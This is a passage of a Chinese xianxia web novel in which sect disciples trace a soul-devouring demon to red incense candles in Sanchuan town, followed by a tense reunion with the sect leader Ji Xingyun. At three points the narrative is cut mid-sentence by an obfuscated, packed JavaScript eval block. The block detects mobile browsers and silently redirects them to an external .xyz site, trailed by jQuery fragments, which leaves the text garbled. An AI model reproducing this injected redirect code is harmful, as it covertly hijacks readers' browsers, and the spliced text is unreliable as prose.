只是搜妖符刚递出去,她便感觉有一道不可忽视的视线落在她后背,如有实质。
江清月被盯得起了一身鸡皮疙瘩,她立刻回头,可那露骨的视线却似水入大海,再也找不见,只有一群目光澄澈的年轻弟子立在一旁。
再回头,魏音尘已经将那尊神像收入了囊袋。接收到江清月的目光,她开口道:“没用我也要拿着。”
话音未落,她又看向那名年轻男子:“你的屋子,还能再进一次吗?”
年轻男子哆哆嗦嗦地点头:“当然……当然!您请自便!”
魏音尘点点头表示感谢,随后对其他弟子道:“把他家的神龛搬出来,里面的东西全拿走,一个都不要落下。”
22. 夺命财神4
于是,在临街或是好奇,或是惊异的目光中,弟子们扛着一大堆杂七杂八的物件浩浩荡荡地回了村长家。
村长也不理解,但他还记得方才魏音尘的壮举,并未多问,只是将众人带到一处厢房前,开口道:“诸位仙长,小民家这间厢房许久未住人可能有些杂乱,还望诸位不要嫌弃。”
魏音尘颔首道谢:“有劳。”
直到将东西都摆到地上,弟子们才反应过来方才做了什么,心中不解的同时,对魏仙师的惧怕也不知不觉减少了许多。
虽魏音尘实力强劲,但她多数时间独来独往,宗门内的事务一概不参与,昆仑山派众弟子对她的印象只有——实力强和脾气怪。
是以,得知这次下山除妖魏音尘要同行,众人很是兢兢战战,生怕言行惹恼了魏仙师。
毕竟,他们可能连魏仙师的三招都接不下来。
但令众人没想到的是,魏仙师竟会为他们出头,而且……众人悄悄瞄了瞄沉思中的魏仙师,又看了看地上的一堆杂物……魏仙师也不似传闻中说的那样冷酷嘛!
众人心思各异,江清月倒是接受良好——总算是让她找到小师妹一直没改的习惯了!
百年前,魏音尘的占有欲便是超乎常人的强,对于想要的事物一定要得到,且到手后绝不再松手。
这种性子让她在同龄的小弟子之间很不讨喜,尽管她的课业成绩始终第一,小朋友们也不愿意和她一起玩。
由于师尊不靠谱,作为大师姐的江清月很忙,直到几月后她发现魏音尘总窝在万仞峰不出门,一个人呆着钻研剑法,才得知事情缘由。
瞧着已经有孤僻倾向的小师妹,江清月大惊——万仞峰上有纪行云一个闷葫芦已经够了,若是再来一个,难不成要两个人坐在一起比赛谁不开口的时间更长吗?
不要啊!
江清月赶忙甩开脑中这个可怕的想法。
魏音尘一边擦剑,一边抬头看突然莫名其妙开始摇头的大师姐,眼中浮现出一丝不解,还没等她思考出个所以然,便见大师姐一个跨步冲到她面前,紧紧将她搂在了怀里。
魏音尘愣愣地伏在大师姐的肩上,正举着手不知该作何反应,江清月已经松开了她,眼中闪着亮光:“小师妹你放心,师姐不会让你变成闷葫芦的!”
什么……葫芦?
魏音尘认真想了想——她不喜欢吃葫芦。
于是,面对大师姐殷切的目光,魏音尘十分坚定道:“我不会的!”
江清月豪情万丈:“好!师姐相信你!”
二人聊得驴唇不对马嘴,但双方都很满意。
后来,在江清月的陪伴下,魏音尘渐渐有了朋友,也会同师弟师妹分享功法心得……
没想到百年后她还是这种性格。
虽然有一丝小缺点,但却意外地让她感到熟悉。
嘉明站在江清月身侧,见她盯着一个方向发呆,顺着视线看去,他垂在身侧的手蜷了蜷,眼中划过一丝阴郁。但转瞬间,他便收敛了神情,转而露出一个人畜无害的笑来:“魏仙师、诸位师兄师姐,我有一个问题,不知当不当问。”
话音落,众人的眼神都聚集在他身上。
魏音尘没抬眼:“问。”
嘉明微微一笑,开口道:“三川镇的几位受害者可是互相认识?”
众人皆是一愣,不知他为何会问出这样的问题。一位弟子心直口快道:“当然不认识!且不说其他人了,就拿那名赌徒来说吧,他平日里只去两个地方——酒馆和赌坊,可其他受害者却对这些地方避而远之。”
“的确,”另一名弟子接过话头,“方才我与其他师弟师妹走访了几家住户,仔细问了几人之间的联系,最终得出的结果是毫不相识。这位师弟,你为何会有这种疑问呢?”
嘉明没有回应其他人的质疑,而是转向一旁的江清月:“方才,我与师姐一同探查,不想竟是误打误撞遇到了当年新婚夜遇害者的妻子。她的言行举止的确与村长所说一般无二,但却并不是口不能言的痴傻之人。”
随着嘉明话音落下,众人齐刷刷看向一旁的江清月。
江清月:“……?”
什么玩意儿?刚才走神了你们说了什么我没听见啊!能不能再讲一遍!
骤然面对众人探究的目光,江清月感觉自己是即将被赶上架的小鸭子,前面就是等着她往下跳的一锅热水!
可还没等她想好如何张口,便觉小臂处传来一阵灼烧之感。幸而袖口宽大,江清月信手一甩,一张皱巴巴的符篆便从袖中飞了出来。
乍一接触到空气,那符篆便熊熊燃烧起来,还未落到地上便已经燃成了一撮灰烬。
江清月离得最近,看得也最清楚——是搜妖符!
此符篆遇魔气则燃烧,燃烧如此快速,想必周围有大量魔气!
见此众人皆是一惊,也顾不得其他,纷纷祭出灵剑法器,眼神警惕四处搜寻魔气。更有甚者,从囊袋中掏出一大把搜妖符将搬回来的物件全测试了一遍,可全都一无所获。
看着脚边的一小撮灰烬,江清月拧眉细细思索,只觉自己漏掉了什么重要线索,可还没等她思索出个所以然,便觉眼前一黑,抬眼看去竟是嘉明。
他眼中闪烁着紧张,双手微微蜷缩,似是想抬起又不敢:“师姐……你有没有受伤?”
江清月一愣,修仙者身体强悍非常人可比,搜妖符自然是伤害不到她。
但很快她便反应过来——这搜妖符是嘉明给的,且看他一张符篆留存多年都舍不得用的模样,便知他身上没几件法器可用,现如今自己还消耗了一件!而他脸皮薄不好意思直接和自己说,只好以如此委婉的方式……
想到这,她觉得自己简直是罪大恶极,于是抬手拍了拍嘉明的肩膀:“放心我没事,你是哪个峰的?到时回宗门师姐送点法器给你。”
嘉明怔愣在原地,欲言又止,像是感动到说不出话来。
江清月则是微微一笑,转身离去,深藏功与名。
就在这时,厢房内传来一声惊呼,江清月循声看去——是那名财大气粗的弟子,他一面将手中的搜妖符全部甩到地上,一面不住叫道:“找到了!我找到了!就是这个缺了一个角的盘子!上面有好重的魔气!”
“静心,”魏音尘站在门前,盯着厢房外浓黑的夜幕,神色有一丝凝重,“魔气不在厢房内,而
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447490|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是在外面。”
话落,她便率先踏出厢房,众人跟在她身后一路七拐八绕,最后竟是停在了一处不起眼的小房子面前。
原本贴在剑尖上用来指引的搜妖符早已烧成了灰烬,只剩下一点绿色的火星。魏音尘拂去剑上灰烬,随后在众人瞪大的眼神里将门板劈了个稀碎。
厢房内很暗,只有神龛内燃着两支红烛,此刻被风一吹,摇曳的幽幽红光将屋内黑影的身形映照得模糊一片,只能依稀看清是个人。
见此,众人都不自觉握紧了灵剑法器,正欲拔剑时,一道分外熟悉的声音从厢房内传来:“各位仙长,发生何事了?”
说着,那个黑影往外走了两步,众人也逐渐看清了他的面容——正是村长。
魏音尘上下打量村长一圈:“你在此做什么?”
村长颤巍巍道:“拜神。”
魏音尘:“魔物在哪?”
“什……什么魔物?”
魏音尘皱了皱眉,不再与他废话,眼神越过村长在屋内搜寻。
这间屋子许是专门用来拜神的,体量很小,内里陈设也简单,魏音尘很快就锁定了自己想找的目标,直接上前,在村长惊恐的目光中将一尊颜色血红的神像从神龛中拿了出来。
村长的表情快急哭了:“仙长,您这是做什么?这……这不能随便碰的!会被神仙怪罪的呀!”
魏音尘充耳不闻,抽出一张搜妖符,依然是即刻燃尽。她冷笑道:“果然是这东西在搞鬼。什么狗屁神仙,根本就是一座食人血肉的邪神!”
话落,一道剑光闪过,那尊神像被凛冽的剑气劈成了两半。
瞧村长十分心疼地盯着那神像,魏音尘接着道:“我且问你,三川镇中是不是每家每户都供奉着这尊神像,包括那些受害的人家?”
村长愣愣点头,仍是不明所以。
其余人却是明了。一刻都不敢再耽搁,忙立刻催动灵力飞速离开村长的府邸。哪怕众人早有准备,见到长街上的情景还是不由得倒吸了一口凉气——
目光所及的房屋上空都萦绕着一层红雾,一眼望不到头,瞧起来阴森可怖。可仔细看去,那哪里是雾气,分明就是凝成实质的魔气!
有弟子白着脸色喃喃:“……这是将整个三川镇都笼罩了吗?”
“范围过大,须得分头行动,”魏音尘面色愈加沉重,语速极快道,“记住那神像的模样,找到后即刻销毁。”
众人纷纷应声,快步离去。
江清月独身行动,飞速略过小巷岔路,道声“得罪”后便闪身进入一栋房屋,直奔屋内神龛而去。
那神龛与村长家的一般无二,两侧照旧点着两支香烛,财神像端坐在内,通体血红,倒是让人分不清是烛光映照其上,还是它原本就这样红得刺目。
她盯着那神像,脑中思绪翻涌——明明在李月桃家中探查时神像上一丝魔气都无,可为何今夜搜妖符频频燃烧?长街上的景象又该做何解?
江清月一面思索,一面靠近神龛,正伸手去拿神像时,她忽然闻到一股奇特又熟悉的香气。
霎时,她脑中灵光一闪,今日遇到的一切不合理之处仿佛都随着这气味消弭。
23. 夺命财神5
三川镇人人信神,每家每户都供奉着神像,每日都要虔诚祈拜,而拜神中最不能缺少的一样东西是什么?
——自然是香烛!
与颜色诡异的神像相对比,这点在神龛旁的两支香烛实在太过普通,太过常见,竟是谁也没意识到这平平无奇的香烛,才是破局的关键!
江清月心绪激荡,但头脑却愈加清明。
这灵光一闪的念头仿佛是一条丝线,将她脑中杂乱的思绪逐渐串起。
可细细思索下,新的问题接踵而至——三川镇中家家户户都点着香烛,这夺取多人性命的邪神再次下手的对象会是谁?
江清月凝眉思索,不经意间回头,看到的景象却让她瞳孔骤然缩紧——
此时乌云遮月,周遭寂静无声昏暗一片,唯一的光亮来源是房屋檐下悬挂的红灯笼。
一个黑影靠在门边,半个身体都隐在黑暗中,站在那里不知看了她多久。
好在,下一瞬那黑影便主动上前两步,露出完整面容。
是嘉明。
影影绰绰的红光落在他的肩上,嘉明脸上浮起一丝笑意:“师姐?好巧。”
若不是时机不对,江清月真想给他邦邦两拳——巧个鬼啊!多大个孩子了还搁着玩躲猫猫?要不是她心理素质强大,早就一剑劈过去了!
但此时有更重要的事,江清月调动思绪,正色道:“你来得正好,我正要去找你。”
嘉明仍是乖巧道:“不知师姐找我何事?能帮到师姐的,弟子必将万死不辞。”
“李月桃说了什么?”
话出了口,江清月才觉出自己因心急说的不甚清楚,正欲开口补充,嘉明却像是知晓她要问什么一般,从善如流道:“她说……心诚则灵,愿望成真。”
……
夜色寂静,月亮悄悄从云层中露出一角,照亮了长街上两道飞快疾驰的身影。
微风拂过,空气中那股香烛的气味愈加浓烈,江清月的头脑也愈加清明。
嘉明在村长家中的话给她提了个醒,几位受害者也许并不相熟,但三川镇发生的怪事之间的确有关联性。不论是沉迷赌博暴毙而亡的老光棍,还是新婚之夜血流成河的新郎婿,亦或是痴傻至今的李月桃,他们的身上都有一个共性——曾经对着财神,或者说对着附身在香烛中的邪神祭拜许愿!
老光棍许的愿是一夜暴富,好有足够的本钱让他重回赌坊,哪怕是只富一天,他便此生无憾了。于是在愿望成真后,财神收走了他性命,让他的一生终止在最春风得意的一天。
同样,家境一般、没钱娶亲的新郎婿跪在神像前,会许下什么愿望呢?
无外是希望自己快些有钱,能赶快将心悦已久的青梅娶进家门。若是娶不了心爱的姑娘,他还要这样一具打铁的身躯有什么用?
于是,财神赐给他钱财,拿走了他的身体。
而李月桃与他们不同,她一无所有,但跪在神像前求的不是钱财,而是新婚丈夫的健康与安宁。
只是她丈夫身体筋脉尽断,是无论如何也活不过一天,愿望无法达成,邪神只好不甘地将她的灵魂放回了一半。
失了魂魄的李月桃痴痴傻傻,但心中仍有执念,这份执念让她在失去神智后仍然不停祈求。
江清月将三川镇的事件原委在脑中过了个遍,脚程却丝毫不慢,不过十几息便横穿大半个三川镇到达了李月桃所住的小巷。
小巷内静悄悄的,一丝响动都没有,夜深人静正是好眠之时。
江清月摩挲几下眉尾,短瞬间便做出了决定——“嘉明,待会我们分头行动,我去李月桃家,你……”
“不行!”
江清月顿了一下,微微讶异,相处半日以来,这还是嘉明第一次打断她。
“你不能一个人去!我……我可以和你一起,我不要你挡在我前面!”
听完他莫名激动的发言,江清月无奈道:“瞧你又急,我还没说完——你去将这条小巷里住的人全部移到安全的地方,不然待会打起来顾不到,会伤及无辜。”
“可是……”
“没有可是,快去。现在其他人都分散在三川镇各地,联系不上,如今只剩我们能救他们了。”江清月拍拍他的肩,见他仍是执拗地盯着自己,只好补上一句,“快去,我等你回来。”
安顿好其他村民的安危,江清月脚步一转,向着李月桃家的方向奔去。
此刻,清亮的月光又被乌云遮挡,黑洞洞的房屋仿佛是一头择人而噬的巨兽。屋内原本整齐的桌椅凌乱倒塌一地,满地狼藉中只有一座闪着幽幽光芒的神龛仍还完好。
神龛前,漂浮着一片红雾。
不,那与其说是红雾,不如说是一片怨灵凝聚而成的血海,无数怨灵在红雾中尖啸着穿进穿出,堪称群魔乱舞。
浓重魔气扑面而来,简直叫人无法视物。
李月桃瘦弱的身体悬浮在半空,她闭着双眼无知无觉,丝丝缕缕莹白如玉,温暖如春的气息从李月桃身上溢出,缓缓凝成一股气柱。而那气柱仿若受到牵引似的,直直钻进李月桃身前的红雾中。
那是活人体内的神魂!
坏了!江清月暗道——这红雾是要活吸了她!
想到这,她一脚飞踢而去,原本倒在脚边的木桌登时腾飞而起,穿透红雾撞在墙上发出轰然巨响。
普通凡物自然无法对红雾造成任何伤害,即使穿胸而过也不过是带走了一点红雾,转瞬便恢复如初。但这一举动也打断了献祭过程,原本从李月桃身上溢出的莹白神魂渐渐回流。
见有人坏自己好事,穿梭在红雾中的怨灵愤怒至极,厢房内立刻响起此起彼伏的尖声嚎叫,已经凝成实质的手臂胡乱挥舞,妄图抓住逸散的神魂。
江清月等的就是它松懈的机会。
她抽出长剑,飞身上前,将那根手臂从中劈断。听着耳边不断回荡的凄厉尖啸,江清月动作未停,几个转身间凌厉剑气将红雾斩得七零八落。
再落地时,李月桃已经安稳地躺在了她的臂弯中。
站定后江清月抬头一扫,登时神色一凛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447491|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
——方才被她斩断的红雾竟是瞬时间恢复如初,与之前一般无二!
此等场景,与飞花镇山神庙中所见的魔物何其相似!甚至这红雾恢复的速度较那“山神”还要快十数倍!
那红雾见她目露惊愕,似是极为得意,胸腔中间裂开一道缝隙,形如唇舌,有桀桀怪笑声从中传出。怨灵在红雾间来回穿梭,若隐若现,这场面说是群魔乱舞也不为过。
江清月握紧长剑连撤几步,避开红雾又一次的袭击,但她的眼睛始终紧紧盯着红雾的身躯——那裂缝中有一点闪光。
任何光亮在一片黑暗中都尤为显眼,虽转瞬即逝,但她还是看清了——那是一只燃烧的红烛。
原来如此!
难怪无论她如何攻击,红雾都能快速恢复,原来那隐藏在层层雾气中的红烛才是邪魔的本体!
如今,只有将它的本体消灭,才能一举击败邪魔!
脑中思绪不断,江清月瞧着墙角处的杂物堆,心生一计。
“——丑八怪,看这儿!”
红雾立即循声望去,却有一物什从声源反方向飞来,十分准确地从它胸膛穿过,砸在地上发出清脆的响声。
红雾不明所以之际,又有一物从斜面丢来,仍是完美命中胸腔。
它神智虽低,但也在这般状似戏弄的打法中品出了一丝不对劲,不禁狂性大发。
江清月蹲坐在房梁上,手上紧紧搂住仍还昏迷的李月桃,另一手控制着各种杂物轮番砸红雾,还要时不时挪个地方,以防底下那玩意乱攻击打中二人。
她叹了口气——这句身体的修为还是不够高,其他人也不知何时才能巡查到此处,在没找到一击毙命的方法前,她只能尽量保存灵力,拖延时间。
这时候,她便格外向往天启宗的传讯符。
多么实用的符篆!
五大宗中就属昆仑山派规矩最多,什么时候那些白胡子长老能把目光放在正经地方?
忽的,江清月觉得身下房梁一歪——这座房子总算是承受不住,要塌了!
若是现在掉下去,恐怕就要和处于狂暴状态的红雾面对面了!
登时,她也顾不上其他,忙催动灵力飞身跃起。
电光火石间,那红雾忽的一抬头,与跃至半空的江清月对上了眼神。
其实红雾并没有眼睛,准确来说它甚至都没有化形出一张完整的脸,但在它抬头的那个瞬间,江清月却觉得好似真的有一双阴毒的眼睛,正在透过雾气死死盯着她。
下一瞬,一记狂暴至极的暴击直直向着二人袭来!
江清月怀中带着人,躲避不及只好寄希望于手中的防御法器。这法器能抵挡金丹期修士的全力一击,可那红雾接连吸食了许多人实力亦是大增……
难不成今日真的要殒命于此?
预想中的疼痛并未到来,江清月试探着睁开眼,入眼的不是张牙舞爪的漫天红雾,而是一个略微有些眼熟的背影。
江清月猝然睁大眼——是嘉明!
他怎么会在这?!
24. 夺命财神6
巨大的冲击力下,红雾轰然砸向地面将周边房屋压塌一片,环绕在它周边的怨灵也半死不活,再也没了方才的张狂。
处于风暴中心的江清月可称得上是完好无损,仅仅是面颊上多了几丝血痕,至于挡在她面前的嘉明——
“咳咳,师姐……还好你没事……”
江清月盯着他,瞳孔震颤——我是没事,你没事吧大兄弟?!
嘉明现在的状态可不像是没事的模样,他下巴上蜿蜒着几道十分明显的血痕,一开口便有血沫从嘴角不断涌出,前胸更是血肉模糊,整个人说是快碎了都不为过。
可嘉明像是感觉不到疼痛一般,面上甚至还有一抹笑意:“我把他们都送到安全的地方了,而且及时赶回来了……太好了……”
大兄弟你别说话了!你一说话嘴里就冒血知不知道啊!还有你这句话怎么那么像临终遗言啊!
江清月手忙脚乱从囊袋中掏止血丹,倒出一大把喂到嘉明嘴边:“张嘴。”
止血丹入口即化,嘉明面上血色恢复了些,但看起来仍还是虚弱。
江清月将他扶起靠在一旁的树上,眼神在嘉明和李月桃的身上滑过,最后落在不远处的邪魔身上。
方才嘉明并未伤及它的根本,转瞬间,那红雾竟是已经恢复了张牙舞爪的姿态。
怎么办?
江清月脑中一根筋突突跳动——不如……
只是她刚起了一个念头,便被脑中突然蹦出来的系统打断。
系统叫道:【不行不行不行!宿主你绝对不能再自爆了!我不允许!你这具身体承受不住再来一次了!你是真的会魂飞魄散的!可持续发展才是最重要的!】
江清月自是知晓其中的危害,可如今境况,她不得不这样做。
就在这时,一道凛冽剑气自远处劈来,刚抖擞起精神的红雾又一次被拍进地面,在地上砸出又一个深坑。
——是魏音尘!
魏音尘飞身前来,扫了一眼她们的惨状,皱了皱眉:“怎么把自己弄成这样,不懂得搬救兵吗?硬抗什么?”
江清月终于体会到柳暗花明的惊喜感,喜滋滋道:“昆仑山派没有传讯符!”
魏音尘:“……这是什么很值得高兴的事吗?”
二人短暂交谈间,那红雾再一次卷土重来。
魏音尘盯着红雾中翻涌尖啸的怨灵,略一挑眉,举剑便迎了上去。很快,地上又多了一个深坑。
但转瞬间,红雾便再次修整完毕,张牙舞爪地冲过来。
连续几次后,魏音尘终于察觉到了一丝不对劲——这邪魔的恢复速度快到不同寻常。
在她手中殒命的邪魔外道成千上万,魏音尘不过疑惑一瞬便立即明了——现在与她对打的红雾不过是用来迷惑对手的障眼法,只有摧毁它的真身,才能一举将其击败。
想到这,她环视一圈,终于在一片残垣断壁中找到了一座尚且完好的神龛,一尊血红的财神像静静端坐在内,散发着不祥的气息。
魏音尘眼中划过一丝光亮,随后凌厉剑气势如破竹,将那尊神像连同神龛都摧毁得彻底,连一星点残骸都找不到。
可待烟尘散去,那团红雾仍是立在原地,对着几人桀桀怪笑。
——怎会如此?
这厢魏音尘百思不得其解,那边江清月寻了个尚且完好整洁的地方,将昏迷的李月桃安放好,再一回头正好对上嘉明的眼睛。
方才他将将止住身上的血后便想起身拿剑,被江清月阻止了,理由是伤患不要随便逞能。
嘉明被她斥责,抿了抿唇,脸颊上晕出一丝红晕,瞧起来倒是多了点血色。
他不再开口要求拿剑,眼神却落在江清月身上,全神贯注地盯着她瞧,无论何时江清月回头,总能望进他那双黑白分明的眼睛里。
里面含着水波,闪着粼粼的光,即使在黑夜里也显得闪亮非常。
江清月狠心移开眼神——她是有原则的!撒娇也不行!
江清月低头继续查看他身上的伤口,方才情况紧急,现如今更加细致地看,嘉明的身体几乎可以用残破来形容。他露出来的肌肤上满是细小的裂痕,但这伤痕不像是外力袭击,倒像是从内部撑裂的。
她心头划过一丝异样,但很快便被魏音尘那处的动静吸引去了心神。
魏音尘不信邪,又与那红雾交手几次,但无一例外都以失败告终。
红雾虽魔气不强,每每都被她砸进地里反复鞭挞,可它奇诡的恢复速度也让她渐渐招架不住——无论砸多少灵力下去,都无法对它造成任何伤害!转瞬间它便可再次卷土重来!
魏音尘咬牙——怎会如此?方才她不是已经将它的真身摧毁了吗?
难不成……
这时,江清月的声音从不远处传来:“魏仙师!攻击红雾的胸腔正中央!那里存放着它的真身!”
不知怎的,魏音尘竟是莫名地信任江清月。
剑随心动,磅礴灵气汇于剑尖——
“轰!!!”
伴随着怨灵们扭曲的尖啸,原本盘旋在三川镇上空的红雾渐渐消散,天边微光乍现。
一截红烛从半空中掉落,魏音尘将其捡起,看向天边:“天要亮了。”
……
“你不和我们一起回去?”
江清月摇了摇头,搬出早就想好的理由:“此次下山,除却降妖除魔,纪仙师还安排了其他任务给弟子。”
果不其然,听到纪行云的名字,魏音尘十分嫌恶地皱起眉头,歇了继续问下去的想法。
计划通!
安顿好后续修葺整顿工作后,昆仑山派众人没有过多逗留准备打道回府,一是为了尽快上报三川镇情况,二是治疗受伤的弟子。
目送众人远去,江清月在心内暗暗抱歉——本来答应要给嘉明送法器的,看来是要食言了,希望嘉明醒来后别怪她。
歉疚的念头刚升起来,便被脑中系统咋咋呼呼的声音打断:【宿主!快找个地方躲起来!】
听系统语气焦急,江清月也顾不得其他,忙侧身闪入一条近处的小巷:“怎么了?难不成是那邪魔又死灰复燃了?”
说话间,她脑中急速思索应对方法,却不想系统一改方才的苦大仇深,欢快道:【不是呀,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447492|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是系统奖励到了!这次总部批准得很快呢!】
江清月:“……谁教你说话这么大喘气的?”
系统疑惑:【宿主您不是说要找个僻静的地方接受奖励嘛?】
江清月:“……来吧。”
【好嘞!】
随着系统话音落下,一股熟悉的灵流自丹田处逐渐升起、蔓延开来,顺着经脉流遍全身。江清月顿觉身体一轻,仿佛经脉和丹田都被这股灵流洁净,奔波一夜的疲惫感瞬时消散一空,随之而来的是舒适和力量——金丹期大圆满!
系统像是比她还高兴:【太好啦,宿主真是太棒啦!】
在系统叽叽喳喳的伴奏下,江清月缓缓睁开眼,眼瞳深处光华流转。
这时,身后的小巷口忽的传来一阵压低的说话声。修为晋级后江清月的五感也愈加灵敏,原本她无意窥探他人谈话的隐私,可几人话中谈论的对象却让她忽的顿住了脚步——
“……你们方才瞧见没?那群穿绿衣服的真就直接飞走了!我的老天爷!原来他们不是说着玩的,咱们这儿还真有不干净的东西捣鬼!”
一人神神秘秘道:“这我倒是知道点内幕——你们还记得我那个在昆仑山派食堂里打饭的表姨吧——她听那群弟子说……是大魔头江清月回来了!”
众人登时齐刷刷一阵吸气声,七嘴八舌地接话。
“原来如此,想必这魔物就是她搞的鬼!”
“话说这江清月就是从昆仑山派出来的吧?出了这么个叛徒,宗门不幸啊!其他人都快恨死她了吧?”
“谁说不是呢!你是没看见——有个年轻后生就因为提了一嘴江清月的名字,一下子就把那仙长惹得发怒啦!一下子把那么高的一堵墙都给推倒了!我亲眼所见!你说这还能有假吗?”最后说话这人分外激动,将右手摔进左手里,拍得啪啪作响。
几人深以为然,嘻嘻哈哈说着逐渐远离了巷口。
系统气愤道:“真是岂有此理,这群人根本就是在瞎说!明明是那人欺软怕硬,魏音尘才出手制止他的,怎么到了这群人的嘴里,他反倒成了最无辜之人?系统怀疑宿主您身上的谣言便是这样传出来的!趁他们还没走远我们一定要上去解释清楚!”
“算了,他们也是人云亦云。”
【真是气死系统了!宿主您就不生气吗?】
“一点点。”江清月笑了一声,“不过也能理解,大多数人只愿意相信逸闻轶事,不在乎也不愿花费时间去探索背后的真相,毕竟救人的修士哪里比祸乱人间的魔头妖女更有看头呢?”
安抚好系统,江清月垂下眼睫——她这次借口脱离,自然有完成任务的需要,毕竟呆在昆仑山派处处受限,实在是不方便。但另一部分原因是她不知该以何种身份,何种心情去面对故人,也不敢去想若是身份暴露会面对何种境况。
系统仍在嘟嘟囔囔:【人类真是复杂的生物……看来只有1和0组成的系统还是不够智能!】
闻言,江清月弯起唇角,系统的声音却先她一步响起,往常平直的机械音里带着一丝疑惑——
【宿主,你看你身后……】
25. 身份暴露
身后有什么?
江清月转头看去,悚然一惊——小巷口站着一个身影,身穿青衣,背负长剑,衣袂翻飞,翠绿的流苏剑穗仍在微微晃动。
竟是纪行云!
江清月不自觉向后退了两步——他不是正在闭关吗?怎么又找过来了??难不成真在她身上装定位器了???
却不想,纪行云好似被她的动作刺激到了。
她只觉眼前一花,手腕一紧,二人之间的距离瞬间被拉近,往日里恨不得离她八百里远的纪仙师此刻紧紧贴在她身前,一双黑沉沉的眼珠一眨不眨地盯着她。
江清月先是一惊,下一瞬便被纪行云面上的神情吸引去了全部心神——他面色惨白,呼吸急促,整张脸上最鲜明的颜色是紧紧抿起的唇瓣,殷红如血。
——这幅表现,他不会是修炼出岔子走火入魔了吧?
身为一宗之主,闭关修炼的时候竟然没人为他护法?那么大个昆仑山派就没人发现他们宗主不见了吗?
不过这也是个好机会……
她盯着那双毫无神采的双眼,试着扭了扭手腕。结果,不仅没挣脱开纪行云的束缚,反而被他一把摁进怀里,抱了个满怀。
感受着颈窝处温热的呼吸,江清月浑身僵硬,条件反射便是一手甩过去。
可她的手刚抬到一半,便觉自己的身体被抱的更紧了些,那力道像是要将她融进自己的骨血中一般。
僻静幽暗的小巷,紧紧相拥的两人……若江清月不是当事人之一,恐怕都要嗑起来了!
这是闹哪样!!!
欺负她没走火入魔过是吧?哪有人走火入魔的症状是随便抱人的?!她要向众仙门告发昆仑山派宗主光天化日之下公然耍流氓!
见纪行云明显神志不清无法讲理,她手腕一翻,未被扣住的右手上一团灵流腾然而起,正要将纪行云拍开,便被他口中喃喃的话打了个措手不及——“师姐?”
江清月猝然瞪大眼睛。
这声呼唤十分低弱,但二人之间距离实在过近,仿佛是一记惊雷在她的耳畔炸响,将她整个人劈成了一块僵直的石板。
下一瞬,轻轻倚靠她颈窝处的头一沉,柔顺光亮的头发如绸缎般尽数倾泻在她身上,与她的发丝纠缠——纪行云晕过去了!
……
【宿主,现在怎么办?】
江清月努力忽略身侧那道存在感极强的视线,木着脸——她也很想问怎么办!事情到底是怎么变成现在这样的?!
方才她半拖半抱,好不容易将纪行云拉进客栈,刚把人放下想拍拍屁股离开,床榻上的人便睁开了眼,还一个劲地拉着她叫师姐。
于是,江清月出离的愤怒了——早知道你这么快醒就让你付钱了!
“师姐……”见她仍是执着茶杯未曾回头,纪行云眸色暗了暗,“方才我神志不清,可有误伤你?”
瞧见他面上的歉疚,江清月心中的气消散了些,但仍是不想理会——你是神志不清,可你的身体还会抱别人,可怕得很!!!
经此一遭,江清月发觉心中除了无语外竟没有意想之中的惊慌,因为面前端坐的纪行云面色如常,似乎对她的真实身份并不意外……
等等。
江清月眯起眼睛:“你是不是早就知道我回来了?”
纪行云放在膝上的手蜷了蜷,点了点头。
“何时何地?”
“雁府遥遥一见,师姐风采如旧。”
江清月脸一热——这么早?那岂不是她重生回来之后做的所有囧事都被他看见了?
这让她的脸往哪搁?
江清月轻咳一声撑起大师姐的架子,十分刻意地转开话题:“你修行一向勤勉,怎会突然走火入魔?虽然你已是昆仑山派宗主,但作为师姐我还是不得不提醒你一句——凡事不可操之过急,修行也是一样。若是你这次遇到的不是我,而是其他别有用心之人,可如何是好?”
纪行云低声道:“师姐,我会很快处理好这个问题。”
江清月点头:“遇事不要自己忍耐,你身后还有昆仑山派。”
“那你呢,”纪行云突然抬起头,“大师姐,你也会一直站在我身边吗?”
江清月没想到这话题转了半天竟又转回到自己身上,瞧着他的双眼,她实在说不出拒绝的话,只好含混道:“会的……毕竟你是我小师弟,是昆仑山派的人。”
纪行云轻轻笑了一声:“好,我信师姐。”
“……”江清月不知该作何反应,只好沉默下来。她垂下眼睫,挠了挠眉尾,又直起身整理袖口,一番动作后还是感觉屋内的气氛十分奇怪,开口道,“你先在这躺着休息吧,我出去转一转。”
说完,她便直接推门而出,只是刚走了两节台阶便察觉身后缀着个小尾巴。她停下脚步,向后看去:“你不躺着休息,跟着我做什么?”
纪行云从拐角阴影处走出,面色苍白:“师姐,你又要离开吗。”
江清月无奈道:“我真的只是出门转转。”
